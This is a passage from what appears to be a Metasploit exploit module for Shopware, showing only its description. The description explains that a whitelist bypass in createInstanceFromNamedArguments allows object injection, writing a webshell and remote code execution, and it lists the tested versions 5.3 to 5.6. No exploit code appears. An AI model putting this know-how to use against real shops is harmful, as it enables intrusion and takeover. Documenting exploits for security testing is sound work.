      'Description' => %q(
        This module exploits a php object instantiation vulnerability that can lead to RCE in
        Shopware. An authenticated backend user could exploit the vulnerability.

        The vulnerability exists in the createInstanceFromNamedArguments function, where the code
        insufficiently performs whitelist check which can be bypassed to trigger an object injection.

        An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
        the target system, resulting in remote code execution.

        Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
